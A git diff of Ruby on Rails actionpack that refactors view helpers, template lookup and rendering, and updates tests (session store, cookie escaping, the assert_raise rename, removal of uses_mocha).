diff --git a/actionpack/lib/action_view/helpers/prototype_helper.rb b/actionpack/lib/action_view/helpers/prototype_helper.rb
index 99676a9c27..6bad11e354 100644
--- a/actionpack/lib/action_view/helpers/prototype_helper.rb
+++ b/actionpack/lib/action_view/helpers/prototype_helper.rb
@@ -107,7 +107,7 @@ module ActionView
# on the page in an Ajax response.
module PrototypeHelper
unless const_defined? :CALLBACKS
- CALLBACKS = Set.new([ :uninitialized, :loading, :loaded,
+ CALLBACKS = Set.new([ :create, :uninitialized, :loading, :loaded,
:interactive, :complete, :failure, :success ] +
(100..599).to_a)
AJAX_OPTIONS = Set.new([ :before, :after, :condition, :url,
diff --git a/actionpack/lib/action_view/helpers/text_helper.rb b/actionpack/lib/action_view/helpers/text_helper.rb
index b1eb6891fa..573b99b96e 100644
--- a/actionpack/lib/action_view/helpers/text_helper.rb
+++ b/actionpack/lib/action_view/helpers/text_helper.rb
@@ -107,7 +107,7 @@ module ActionView
text
else
match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
- text.gsub(/(#{match})(?!(?:[^<]*?)?(?:["'])[^<>]*>)/i, options[:highlighter])
+ text.gsub(/(#{match})(?!(?:[^<]*?)(?:["'])[^<>]*>)/i, options[:highlighter])
end
end
@@ -324,7 +324,7 @@ module ActionView
# Turns all URLs and e-mail addresses into clickable links. The <tt>:link</tt> option
# will limit what should be linked. You can add HTML attributes to the links using
- # <tt>:href_options</tt>. Possible values for <tt>:link</tt> are <tt>:all</tt> (default),
+ # <tt>:html</tt>. Possible values for <tt>:link</tt> are <tt>:all</tt> (default),
# <tt>:email_addresses</tt>, and <tt>:urls</tt>. If a block is given, each URL and
# e-mail address is yielded and the result is used as the link text.
#
@@ -341,7 +341,7 @@ module ActionView
# # => "Visit http://www.loudthinking.com/ or e-mail <a href=\"mailto:david@loudthinking.com\">david@loudthinking.com</a>"
#
# post_body = "Welcome to my new blog at http://www.myblog.com/. Please e-mail me at me@email.com."
- # auto_link(post_body, :href_options => { :target => '_blank' }) do |text|
+ # auto_link(post_body, :html => { :target => '_blank' }) do |text|
# truncate(text, 15)
# end
# # => "Welcome to my new blog at <a href=\"http://www.myblog.com/\" target=\"_blank\">http://www.m...</a>.
@@ -359,7 +359,7 @@ module ActionView
# auto_link(post_body, :all, :target => "_blank") # => Once upon\na time
# # => "Welcome to my new blog at <a href=\"http://www.myblog.com/\" target=\"_blank\">http://www.myblog.com</a>.
# Please e-mail me at <a href=\"mailto:me@email.com\">me@email.com</a>."
- def auto_link(text, *args, &block)#link = :all, href_options = {}, &block)
+ def auto_link(text, *args, &block)#link = :all, html = {}, &block)
return '' if text.blank?
options = args.size == 2 ? {} : args.extract_options! # this is necessary because the old auto_link API has a Hash as its last parameter
@@ -536,8 +536,9 @@ module ActionView
text.gsub(AUTO_LINK_RE) do
href = $&
punctuation = ''
- # detect already linked URLs
- if $` =~ /<a\s[^>]*href="$/
+ left, right = $`, $'
+ # detect already linked URLs and URLs in the middle of a tag
+ if left =~ /<[^>]+$/ && right =~ /^[^>]*>/
# do not change string; URL is alreay linked
href
else
diff --git a/actionpack/lib/action_view/helpers/translation_helper.rb b/actionpack/lib/action_view/helpers/translation_helper.rb
index dc41ef5305..4aed10f640 100644
--- a/actionpack/lib/action_view/helpers/translation_helper.rb
+++ b/actionpack/lib/action_view/helpers/translation_helper.rb
@@ -3,19 +3,37 @@ require 'action_view/helpers/tag_helper'
module ActionView
module Helpers
module TranslationHelper
+ # Delegates to I18n#translate but also performs two additional functions. First, it'll catch MissingTranslationData exceptions
+ # and turn them into inline spans that contains the missing key, such that you can see in a view what is missing where.
+ #
+ # Second, it'll scope the key by the current partial if the key starts with a period. So if you call translate(".foo") from the
+ # people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo"). This makes it less repetitive
+ # to translate many keys within the same partials and gives you a simple framework for scoping them consistently. If you don't
+ # prepend the key with a period, nothing is converted.
def translate(key, options = {})
options[:raise] = true
- I18n.translate(key, options)
+ I18n.translate(scope_key_by_partial(key), options)
rescue I18n::MissingTranslationData => e
keys = I18n.send(:normalize_translation_keys, e.locale, e.key, e.options[:scope])
content_tag('span', keys.join(', '), :class => 'translation_missing')
end
alias :t :translate
+ # Delegates to I18n.localize with no additional functionality.
def localize(*args)
I18n.localize *args
end
alias :l :localize
+
+
+ private
+ def scope_key_by_partial(key)
+ if key.to_s.first == "."
+ template.path_without_format_and_extension.gsub(%r{/_?}, ".") + key.to_s
+ else
+ key
+ end
+ end
end
end
end \ No newline at end of file
diff --git a/actionpack/lib/action_view/helpers/url_helper.rb b/actionpack/lib/action_view/helpers/url_helper.rb
index 2e0eb8766b..36e0a78e93 100644
--- a/actionpack/lib/action_view/helpers/url_helper.rb
+++ b/actionpack/lib/action_view/helpers/url_helper.rb
@@ -507,7 +507,30 @@ module ActionView
# current_page?(:controller => 'shop', :action => 'checkout')
# # => true
#
- # current_page?(:controller => 'shop', :action => 'checkout', :order => 'asc)
+ # current_page?(:controller => 'shop', :action => 'checkout', :order => 'asc')
+ # # => false
+ #
+ # current_page?(:action => 'checkout')
+ # # => true
+ #
+ # current_page?(:controller => 'library', :action => 'checkout')
+ # # => false
+ #
+ # Let's say we're in the <tt>/shop/checkout?order=desc&page=1</tt> action.
+ #
+ # current_page?(:action => 'process')
+ # # => false
+ #
+ # current_page?(:controller => 'shop', :action => 'checkout')
+ # # => true
+ #
+ # current_page?(:controller => 'shop', :action => 'checkout', :order => 'desc', :page=>'1')
+ # # => true
+ #
+ # current_page?(:controller => 'shop', :action => 'checkout', :order => 'desc', :page=>'2')
+ # # => false
+ #
+ # current_page?(:controller => 'shop', :action => 'checkout', :order => 'desc')
# # => false
#
# current_page?(:action => 'checkout')
@@ -516,7 +539,7 @@ module ActionView
# current_page?(:controller => 'library', :action => 'checkout')
# # => false
def current_page?(options)
- url_string = CGI.escapeHTML(url_for(options))
+ url_string = CGI.unescapeHTML(url_for(options))
request = @controller.request
# We ignore any extra parameters in the request_uri if the
# submitted url doesn't have any either. This lets the function
diff --git a/actionpack/lib/action_view/paths.rb b/actionpack/lib/action_view/paths.rb
index 6c6d2ff979..b6bb9942ee 100644
--- a/actionpack/lib/action_view/paths.rb
+++ b/actionpack/lib/action_view/paths.rb
@@ -2,7 +2,11 @@ module ActionView #:nodoc:
class PathSet < Array #:nodoc:
def self.type_cast(obj)
if obj.is_a?(String)
- Template::EagerPath.new(obj)
+ if !Object.const_defined?(:Rails) || Rails.configuration.cache_classes
+ Template::EagerPath.new(obj)
+ else
+ Template::Path.new(obj)
+ end
else
obj
end
@@ -56,7 +60,7 @@ module ActionView #:nodoc:
false
end
- def find_template(original_template_path, format = nil)
+ def find_template(original_template_path, format = nil, html_fallback = true)
return original_template_path if original_template_path.respond_to?(:render)
template_path = original_template_path.sub(/^\//, '')
@@ -64,12 +68,16 @@ module ActionView #:nodoc:
if template = load_path.find_by_parts(template_path, format)
return template
# Try to find html version if the format is javascript
- elsif format == :js && template = load_path["#{template_path}.html"]
+ elsif format == :js && html_fallback && template = load_path["#{template_path}.#{I18n.locale}.html"]
+ return template
+ elsif format == :js && html_fallback && template = load_path["#{template_path}.html"]
return template
end
end
- Template.new(original_template_path, self)
+ return Template.new(original_template_path, original_template_path.to_s =~ /\A\// ? "" : ".") if File.file?(original_template_path)
+
+ raise MissingTemplate.new(self, original_template_path, format)
end
end
end
diff --git a/actionpack/lib/action_view/render/rendering.rb b/actionpack/lib/action_view/render/rendering.rb
index 2d8bdab100..a9b2acecd5 100644
--- a/actionpack/lib/action_view/render/rendering.rb
+++ b/actionpack/lib/action_view/render/rendering.rb
@@ -62,22 +62,19 @@ module ActionView
end
def _render_template(template, local_assigns = {})
- @_render_stack.push(template)
+ with_template(template) do
+ _evaluate_assigns_and_ivars
+ _set_controller_content_type(template.mime_type) if template.respond_to?(:mime_type)
- _evaluate_assigns_and_ivars
- _set_controller_content_type(template.mime_type) if template.respond_to?(:mime_type)
-
- result = template.render(self, local_assigns) do |*names|
- if !instance_variable_defined?(:"@content_for_#{names.first}") &&
- instance_variable_defined?(:@_proc_for_layout) && (proc = @_proc_for_layout)
- capture(*names, &proc)
- elsif instance_variable_defined?(ivar = :"@content_for_#{names.first || :layout}")
- instance_variable_get(ivar)
- end
+ template.render(self, local_assigns) do |*names|
+ if !instance_variable_defined?(:"@content_for_#{names.first}") &&
+ instance_variable_defined?(:@_proc_for_layout) && (proc = @_proc_for_layout)
+ capture(*names, &proc)
+ elsif instance_variable_defined?(ivar = :"@content_for_#{names.first || :layout}")
+ instance_variable_get(ivar)
+ end
+ end
end
-
- @_render_stack.pop
- result
rescue Exception => e
raise e if template.is_a?(InlineTemplate) || !template.filename
if TemplateError === e
diff --git a/actionpack/lib/action_view/template/renderable.rb b/actionpack/lib/action_view/template/renderable.rb
index fde37544f3..0e8e0c4a38 100644
--- a/actionpack/lib/action_view/template/renderable.rb
+++ b/actionpack/lib/action_view/template/renderable.rb
@@ -1,3 +1,5 @@
+# encoding: utf-8
+
module ActionView
# NOTE: The template that this mixin is being included into is frozen
# so you cannot set or modify any instance variables
diff --git a/actionpack/lib/action_view/template/template.rb b/actionpack/lib/action_view/template/template.rb
index 73e319b489..a61c46020f 100644
--- a/actionpack/lib/action_view/template/template.rb
+++ b/actionpack/lib/action_view/template/template.rb
@@ -50,7 +50,7 @@ module ActionView #:nodoc:
def find_by_parts(name, extensions = nil, prefix = nil, partial = nil)
path = prefix ? "#{prefix}/" : ""
- name = name.split("/")
+ name = name.to_s.split("/")
name[-1] = "_#{name[-1]}" if partial
path << name.join("/")
@@ -111,7 +111,7 @@ module ActionView #:nodoc:
@@exempt_from_layout.merge(regexps)
end
- attr_accessor :filename, :load_path, :base_path
+ attr_accessor :template_path, :filename, :load_path, :base_path
attr_accessor :locale, :name, :format, :extension
delegate :to_s, :to => :path
@@ -127,13 +127,20 @@ module ActionView #:nodoc:
def accessible_paths
paths = []
- paths << path
- paths << path_without_extension
- if multipart?
- formats = format.split(".")
- paths << "#{path_without_format_and_extension}.#{formats.first}"
- paths << "#{path_without_format_and_extension}.#{formats.second}"
+
+ if valid_extension?(extension)
+ paths << path
+ paths << path_without_extension
+ if multipart?
+ formats = format.split(".")
+ paths << "#{path_without_format_and_extension}.#{formats.first}"
+ paths << "#{path_without_format_and_extension}.#{formats.second}"
+ end
+ else
+ # template without explicit template handler should only be reachable through its exact path
+ paths << template_path
end
+
paths
end
@@ -151,7 +158,7 @@ module ActionView #:nodoc:
end
def mime_type
- Mime::Type.lookup_by_extension(format) if format
+ Mime::Type.lookup_by_extension(format) if format && defined?(::Mime)
end
memoize :mime_type
@@ -230,7 +237,7 @@ module ActionView #:nodoc:
# Returns file split into an array
# [base_path, name, locale, format, extension]
def split(file)
- if m = file.match(/^(.*\/)?([^\.]+)\.(.*)$/)
+ if m = file.to_s.match(/^(.*\/)?([^\.]+)\.(.*)$/)
base_path = m[1]
name = m[2]
extensions = m[3]
@@ -242,24 +249,24 @@ module ActionView #:nodoc:
format = nil
extension = nil
- if m = extensions.match(/^(\w+)?\.?(\w+)?\.?(\w+)?\.?/)
- if valid_locale?(m[1]) && m[2] && valid_extension?(m[3]) # All three
- locale = m[1]
- format = m[2]
- extension = m[3]
- elsif m[1] && m[2] && valid_extension?(m[3]) # Multipart formats
- format = "#{m[1]}.#{m[2]}"
- extension = m[3]
- elsif valid_locale?(m[1]) && valid_extension?(m[2]) # locale and extension
- locale = m[1]
- extension = m[2]
- elsif valid_extension?(m[2]) # format and extension
+ if m = extensions.split(".")
+ if valid_locale?(m[0]) && m[1] && valid_extension?(m[2]) # All three
+ locale = m[0]
format = m[1]
extension = m[2]
- elsif valid_extension?(m[1]) # Just extension
+ elsif m[0] && m[1] && valid_extension?(m[2]) # Multipart formats
+ format = "#{m[0]}.#{m[1]}"
+ extension = m[2]
+ elsif valid_locale?(m[0]) && valid_extension?(m[1]) # locale and extension
+ locale = m[0]
+ extension = m[1]
+ elsif valid_extension?(m[1]) # format and extension
+ format = m[0]
extension = m[1]
+ elsif valid_extension?(m[0]) # Just extension
+ extension = m[0]
else # No extension
- format = m[1]
+ format = m[0]
end
end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index 12b60ddf3c..b07e6e5f3a 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -8,7 +8,7 @@ require 'yaml'
require 'stringio'
require 'test/unit'
-gem 'mocha', '>= 0.9.3'
+gem 'mocha', '>= 0.9.5'
require 'mocha'
begin
@@ -33,11 +33,8 @@ ActionController::Base.session_store = nil
# Register danish language for testing
I18n.backend.store_translations 'da', {}
-ORIGINAL_LOCALES = I18n.available_locales
+I18n.backend.store_translations 'pt-BR', {}
+ORIGINAL_LOCALES = I18n.available_locales.map(&:to_s).sort
FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
ActionController::Base.view_paths = FIXTURE_LOAD_PATH
-
-def uses_mocha(test_name)
- yield
-end
diff --git a/actionpack/test/active_record_unit.rb b/actionpack/test/active_record_unit.rb
index d8d2e00dc2..9e0c66055d 100644
--- a/actionpack/test/active_record_unit.rb
+++ b/actionpack/test/active_record_unit.rb
@@ -51,7 +51,8 @@ class ActiveRecordTestConnector
if Object.const_defined?(:ActiveRecord)
defaults = { :database => ':memory:' }
begin
- options = defaults.merge :adapter => 'sqlite3', :timeout => 500
+ adapter = defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3'
+ options = defaults.merge :adapter => adapter, :timeout => 500
ActiveRecord::Base.establish_connection(options)
ActiveRecord::Base.configurations = { 'sqlite3_ar_integration' => options }
ActiveRecord::Base.connection
diff --git a/actionpack/test/activerecord/active_record_store_test.rb b/actionpack/test/activerecord/active_record_store_test.rb
index 6a75e6050d..34f18806a2 100644
--- a/actionpack/test/activerecord/active_record_store_test.rb
+++ b/actionpack/test/activerecord/active_record_store_test.rb
@@ -21,6 +21,18 @@ class ActiveRecordStoreTest < ActionController::IntegrationTest
render :text => "foo: #{session[:foo].inspect}"
end
+ def get_session_id
+ session[:foo]
+ render :text => "#{request.session_options[:id]}"
+ end
+
+ def call_reset_session
+ session[:bar]
+ reset_session
+ session[:bar] = "baz"
+ head :ok
+ end
+
def rescue_action(e) raise end
end
@@ -33,31 +45,69 @@ class ActiveRecordStoreTest < ActionController::IntegrationTest
ActiveRecord::SessionStore.session_class.drop_table!
end
- def test_setting_and_getting_session_value
+ %w{ session sql_bypass }.each do |class_name|
+ define_method("test_setting_and_getting_session_value_with_#{class_name}_store") do
+ with_store class_name do
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: "bar"', response.body
+
+ get '/set_session_value', :foo => "baz"
+ assert_response :success
+ assert cookies['_session_id']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: "baz"', response.body
+ end
+ end
+ end
+ end
+
+ def test_getting_nil_session_value
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ end
+ end
+
+ def test_setting_session_value_after_session_reset
with_test_route_set do
get '/set_session_value'
assert_response :success
assert cookies['_session_id']
+ session_id = cookies['_session_id']
- get '/get_session_value'
+ get '/call_reset_session'
assert_response :success
- assert_equal 'foo: "bar"', response.body
+ assert_not_equal [], headers['Set-Cookie']
- get '/set_session_value', :foo => "baz"
+ get '/get_session_value'
assert_response :success
- assert cookies['_session_id']
+ assert_equal 'foo: nil', response.body
- get '/get_session_value'
+ get '/get_session_id'
assert_response :success
- assert_equal 'foo: "baz"', response.body
+ assert_not_equal session_id, response.body
end
end
- def test_getting_nil_session_value
+ def test_getting_session_id
with_test_route_set do
- get '/get_session_value'
+ get '/set_session_value'
assert_response :success
- assert_equal 'foo: nil', response.body
+ assert cookies['_session_id']
+ session_id = cookies['_session_id']
+
+ get '/get_session_id'
+ assert_response :success
+ assert_equal session_id, response.body
end
end
@@ -125,4 +175,11 @@ class ActiveRecordStoreTest < ActionController::IntegrationTest
yield
end
end
+
+ def with_store(class_name)
+ session_class, ActiveRecord::SessionStore.session_class =
+ ActiveRecord::SessionStore.session_class, "ActiveRecord::SessionStore::#{class_name.camelize}".constantize
+ yield
+ ActiveRecord::SessionStore.session_class = session_class
+ end
end
diff --git a/actionpack/test/activerecord/render_partial_with_record_identification_test.rb b/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
index 147b270808..0a596c7ae0 100644
--- a/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
+++ b/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
@@ -53,7 +53,7 @@ class RenderPartialWithRecordIdentificationTest < ActiveRecordTestCase
def test_rendering_partial_with_has_many_and_belongs_to_association
get :render_with_has_many_and_belongs_to_association
assert_template 'projects/_project'
- assert_equal 'Active RecordActive Controller', @response.body
+ assert_equal assigns(:developer).projects.map(&:name).join, @response.body
end
def test_rendering_partial_with_has_many_association
@@ -82,7 +82,7 @@ class RenderPartialWithRecordIdentificationTest < ActiveRecordTestCase
def test_render_with_record_collection_and_spacer_template
get :render_with_record_collection_and_spacer_template
- assert_equal 'Active Recordonly partialActive Controller', @response.body
+ assert_equal assigns(:developer).projects.map(&:name).join('only partial'), @response.body
end
def test_rendering_partial_with_has_one_association
diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb
index 3db1d4addf..ad17d1288b 100644
--- a/actionpack/test/controller/assert_select_test.rb
+++ b/actionpack/test/controller/assert_select_test.rb
@@ -78,7 +78,7 @@ class AssertSelectTest < ActionController::TestCase
end
def assert_failure(message, &block)
- e = assert_raises(Assertion, &block)
+ e = assert_raise(Assertion, &block)
assert_match(message, e.message) if Regexp === message
assert_equal(message, e.message) if String === message
end
@@ -97,24 +97,24 @@ class AssertSelectTest < ActionController::TestCase
def test_equality_true_false
render_html %Q{<div id="1"></div><div id="2"></div>}
assert_nothing_raised { assert_select "div" }
- assert_raises(Assertion) { assert_select "p" }
+ assert_raise(Assertion) { assert_select "p" }
assert_nothing_raised { assert_select "div", true }
- assert_raises(Assertion) { assert_select "p", true }
- assert_raises(Assertion) { assert_select "div", false }
+ assert_raise(Assertion) { assert_select "p", true }
+ assert_raise(Assertion) { assert_select "div", false }
assert_nothing_raised { assert_select "p", false }
end
def test_equality_string_and_regexp
render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
assert_nothing_raised { assert_select "div", "foo" }
- assert_raises(Assertion) { assert_select "div", "bar" }
+ assert_raise(Assertion) { assert_select "div", "bar" }
assert_nothing_raised { assert_select "div", :text=>"foo" }
- assert_raises(Assertion) { assert_select "div", :text=>"bar" }
+ assert_raise(Assertion) { assert_select "div", :text=>"bar" }
assert_nothing_raised { assert_select "div", /(foo|bar)/ }
- assert_raises(Assertion) { assert_select "div", /foobar/ }
+ assert_raise(Assertion) { assert_select "div", /foobar/ }
assert_nothing_raised { assert_select "div", :text=>/(foo|bar)/ }
- assert_raises(Assertion) { assert_select "div", :text=>/foobar/ }
- assert_raises(Assertion) { assert_select "p", :text=>/foobar/ }
+ assert_raise(Assertion) { assert_select "div", :text=>/foobar/ }
+ assert_raise(Assertion) { assert_select "p", :text=>/foobar/ }
end
def test_equality_of_html
@@ -122,17 +122,17 @@ class AssertSelectTest < ActionController::TestCase
text = "\"This is not a big problem,\" he said."
html = "<em>\"This is <strong>not</strong> a big problem,\"</em> he said."
assert_nothing_raised { assert_select "p", text }
- assert_raises(Assertion) { assert_select "p", html }
+ assert_raise(Assertion) { assert_select "p", html }
assert_nothing_raised { assert_select "p", :html=>html }
- assert_raises(Assertion) { assert_select "p", :html=>text }
+ assert_raise(Assertion) { assert_select "p", :html=>text }
# No stripping for pre.
render_html %Q{<pre>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</pre>}
text = "\n\"This is not a big problem,\" he said.\n"
html = "\n<em>\"This is <strong>not</strong> a big problem,\"</em> he said.\n"
assert_nothing_raised { assert_select "pre", text }
- assert_raises(Assertion) { assert_select "pre", html }
+ assert_raise(Assertion) { assert_select "pre", html }
assert_nothing_raised { assert_select "pre", :html=>html }
- assert_raises(Assertion) { assert_select "pre", :html=>text }
+ assert_raise(Assertion) { assert_select "pre", :html=>text }
end
def test_counts
@@ -212,12 +212,12 @@ class AssertSelectTest < ActionController::TestCase
assert_nothing_raised { assert_select "div", "bar" }
assert_nothing_raised { assert_select "div", /\w*/ }
assert_nothing_raised { assert_select "div", /\w*/, :count=>2 }
- assert_raises(Assertion) { assert_select "div", :text=>"foo", :count=>2 }
+ assert_raise(Assertion) { assert_select "div", :text=>"foo", :count=>2 }
assert_nothing_raised { assert_select "div", :html=>"<span>bar</span>" }
assert_nothing_raised { assert_select "div", :html=>"<span>bar</span>" }
assert_nothing_raised { assert_select "div", :html=>/\w*/ }
assert_nothing_raised { assert_select "div", :html=>/\w*/, :count=>2 }
- assert_raises(Assertion) { assert_select "div", :html=>"<span>foo</span>", :count=>2 }
+ assert_raise(Assertion) { assert_select "div", :html=>"<span>foo</span>", :count=>2 }
end
end
@@ -255,7 +255,12 @@ class AssertSelectTest < ActionController::TestCase
page.insert_html :top, "test1", "<div id=\"1\">foo</div>"
page.insert_html :bottom, "test2", "<div id=\"2\">foo</div>"
end
- assert_raises(Assertion) {assert_select_rjs :insert, :top, "test2"}
+ assert_raise(Assertion) {assert_select_rjs :insert, :top, "test2"}
+ end
+
+ def test_elect_with_xml_namespace_attributes
+ render_html %Q{<link xlink:href="http://nowhere.com"></link>}
+ assert_nothing_raised { assert_select "link[xlink:href=http://nowhere.com]" }
end
#
@@ -333,7 +338,7 @@ class AssertSelectTest < ActionController::TestCase
# Test that we fail if there is nothing to pick.
def test_assert_select_rjs_fails_if_nothing_to_pick
render_rjs { }
- assert_raises(Assertion) { assert_select_rjs }
+ assert_raise(Assertion) { assert_select_rjs }
end
def test_assert_select_rjs_with_unicode
@@ -348,10 +353,10 @@ class AssertSelectTest < ActionController::TestCase
if str.respond_to?(:force_encoding)
str.force_encoding(Encoding::UTF_8)
assert_select str, /\343\203\201..\343\203\210/u
- assert_raises(Assertion) { assert_select str, /\343\203\201.\343\203\210/u }
+ assert_raise(Assertion) { assert_select str, /\343\203\201.\343\203\210/u }
else
assert_select str, Regexp.new("\343\203\201..\343\203\210",0,'U')
- assert_raises(Assertion) { assert_select str, Regexp.new("\343\203\201.\343\203\210",0,'U') }
+ assert_raise(Assertion) { assert_select str, Regexp.new("\343\203\201.\343\203\210",0,'U') }
end
end
end
@@ -375,7 +380,7 @@ class AssertSelectTest < ActionController::TestCase
assert_select "div", 1
assert_select "#3"
end
- assert_raises(Assertion) { assert_select_rjs "test4" }
+ assert_raise(Assertion) { assert_select_rjs "test4" }
end
def test_assert_select_rjs_for_replace
@@ -393,7 +398,7 @@ class AssertSelectTest < ActionController::TestCase
assert_select "div", 1
assert_select "#1"
end
- assert_raises(Assertion) { assert_select_rjs :replace, "test2" }
+ assert_raise(Assertion) { assert_select_rjs :replace, "test2" }
# Replace HTML.
assert_select_rjs :replace_html do
assert_select "div", 1
@@ -403,7 +408,7 @@ class AssertSelectTest < ActionController::TestCase
assert_select "div", 1
assert_select "#2"
end
- assert_raises(Assertion) { assert_select_rjs :replace_html, "test1" }
+ assert_raise(Assertion) { assert_select_rjs :replace_html, "test1" }
end
def test_assert_select_rjs_for_chained_replace
@@ -421,7 +426,7 @@ class AssertSelectTest < ActionController::TestCase
assert_select "div", 1
assert_select "#1"
end
- assert_raises(Assertion) { assert_select_rjs :chained_replace, "test2" }
+ assert_raise(Assertion) { assert_select_rjs :chained_replace, "test2" }
# Replace HTML.
assert_select_rjs :chained_replace_html do
assert_select "div", 1
@@ -431,7 +436,7 @@ class AssertSelectTest < ActionController::TestCase
assert_select "div", 1
assert_select "#2"
end
- assert_raises(Assertion) { assert_select_rjs :replace_html, "test1" }
+ assert_raise(Assertion) { assert_select_rjs :replace_html, "test1" }
end
# Simple remove
@@ -577,7 +582,7 @@ class AssertSelectTest < ActionController::TestCase
assert_select "div", 1
assert_select "#3"
end
- assert_raises(Assertion) { assert_select_rjs :insert_html, "test1" }
+ assert_raise(Assertion) { assert_select_rjs :insert_html, "test1" }
end
# Positioned insert.
@@ -610,8 +615,8 @@ class AssertSelectTest < ActionController::TestCase
end
def test_assert_select_rjs_raise_errors
- assert_raises(ArgumentError) { assert_select_rjs(:destroy) }
- assert_raises(ArgumentError) { assert_select_rjs(:insert, :left) }
+ assert_raise(ArgumentError) { assert_select_rjs(:destroy) }
+ assert_raise(ArgumentError) { assert_select_rjs(:insert, :left) }
end
# Simple selection from a single result.
@@ -703,7 +708,7 @@ EOF
#
def test_assert_select_email
- assert_raises(Assertion) { assert_select_email {} }
+ assert_raise(Assertion) { assert_select_email {} }
AssertSelectMailer.deliver_test "<div><p>foo</p><p>bar</p></div>"
assert_select_email do
assert_select "div:root" do
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
index d743f50dff..b61a58dd09 100644
--- a/actionpack/test/controller/caching_test.rb
+++ b/actionpack/test/controller/caching_test.rb
@@ -109,13 +109,11 @@ class PageCachingTest < ActionController::TestCase
assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/trailing_slash.html")
end
- uses_mocha("should_cache_ok_at_custom_path") do
- def test_should_cache_ok_at_custom_path
- @request.stubs(:path).returns("/index.html")
- get :ok
- assert_response :ok
- assert File.exist?("#{FILE_STORE_PATH}/index.html")
- end
+ def test_should_cache_ok_at_custom_path
+ @request.stubs(:path).returns("/index.html")
+ get :ok
+ assert_response :ok
+ assert File.exist?("#{FILE_STORE_PATH}/index.html")
end
[:ok, :no_content, :found, :not_found].each do |status|
@@ -293,13 +291,11 @@ class ActionCacheTest < ActionController::TestCase
ActionController::Base.use_accept_header = old_use_accept_header
end
- uses_mocha 'test action cache' do
- def test_action_cache_with_store_options
- MockTime.expects(:now).returns(12345).once
- @controller.expects(:read_fragment).with('hostname.com/action_caching_test', :expires_in => 1.hour).once
- @controller.expects(:write_fragment).with('hostname.com/action_caching_test', '12345.0', :expires_in => 1.hour).once
- get :index
- end
+ def test_action_cache_with_store_options
+ MockTime.expects(:now).returns(12345).once
+ @controller.expects(:read_fragment).with('hostname.com/action_caching_test', :expires_in => 1.hour).once
+ @controller.expects(:write_fragment).with('hostname.com/action_caching_test', '12345.0', :expires_in => 1.hour).once
+ get :index
end
def test_action_cache_with_custom_cache_path
@@ -434,6 +430,20 @@ class ActionCacheTest < ActionController::TestCase
assert_equal 'application/xml', @response.content_type
end
+ def test_correct_content_type_is_returned_for_cache_hit_on_action_with_string_key
+ # run it twice to cache it the first time
+ get :show, :format => 'xml'
+ get :show, :format => 'xml'
+ assert_equal 'application/xml', @response.content_type
+ end
+
+ def test_correct_content_type_is_returned_for_cache_hit_on_action_with_string_key_from_proc
+ # run it twice to cache it the first time
+ get :edit, :id => 1, :format => 'xml'
+ get :edit, :id => 1, :format => 'xml'
+ assert_equal 'application/xml', @response.content_type
+ end
+
def test_empty_path_is_normalized
@mock_controller.mock_url_for = 'http://example.org/'
@mock_controller.mock_path = '/'
diff --git a/actionpack/test/controller/cookie_test.rb b/actionpack/test/controller/cookie_test.rb
index 5a00de50ac..c861982698 100644
--- a/actionpack/test/controller/cookie_test.rb
+++ b/actionpack/test/controller/cookie_test.rb
@@ -6,6 +6,10 @@ class CookieTest < ActionController::TestCase
cookies["user_name"] = "david"
end
+ def set_with_with_escapable_characters
+ cookies["that & guy"] = "foo & bar => baz"
+ end
+
def authenticate_for_fourteen_days
cookies["user_name"] = { "value" => "david", "expires" => Time.utc(2005, 10, 10,5) }
end
@@ -33,7 +37,7 @@ class CookieTest < ActionController::TestCase
end
def authenticate_with_http_only
- cookies["user_name"] = { :value => "david", :http_only => true }
+ cookies["user_name"] = { :value => "david", :httponly => true }
end
def rescue_action(e)
@@ -54,6 +58,12 @@ class CookieTest < ActionController::TestCase
assert_equal({"user_name" => "david"}, @response.cookies)
end
+ def test_setting_with_escapable_characters
+ get :set_with_with_escapable_characters
+ assert_equal ["that+%26+guy=foo+%26+bar+%3D%3E+baz; path=/"], @response.headers["Set-Cookie"]
+ assert_equal({"that & guy" => "foo & bar => baz"}, @response.cookies)
+ end
+
def test_setting_cookie_for_fourteen_days
get :authenticate_for_fourteen_days
assert_equal ["user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT"], @response.headers["Set-Cookie"]
diff --git a/actionpack/test/controller/dispatcher_test.rb b/actionpack/test/controller/dispatcher_test.rb
index 6b409c9ae2..031a10975d 100644
--- a/actionpack/test/controller/dispatcher_test.rb
+++ b/actionpack/test/controller/dispatcher_test.rb
@@ -1,21 +1,22 @@
require 'abstract_unit'
-uses_mocha 'dispatcher tests' do
-
class DispatcherTest < Test::Unit::TestCase
Dispatcher = ActionController::Dispatcher
def setup
ENV['REQUEST_METHOD'] = 'GET'
+ Dispatcher.middleware = ActionDispatch::MiddlewareStack.new do |middleware|
+ middlewares = File.expand_path(File.join(File.dirname(__FILE__), "../../lib/action_controller/dispatch/middlewares.rb"))
+ middleware.instance_eval(File.read(middlewares))
+ end
+
# Clear callbacks as they are redefined by Dispatcher#define_dispatcher_callbacks
Dispatcher.instance_variable_set("@prepare_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
Dispatcher.instance_variable_set("@before_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
Dispatcher.instance_variable_set("@after_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
Dispatcher.stubs(:require_dependency)
-
- @dispatcher = Dispatcher.new
end
def teardown
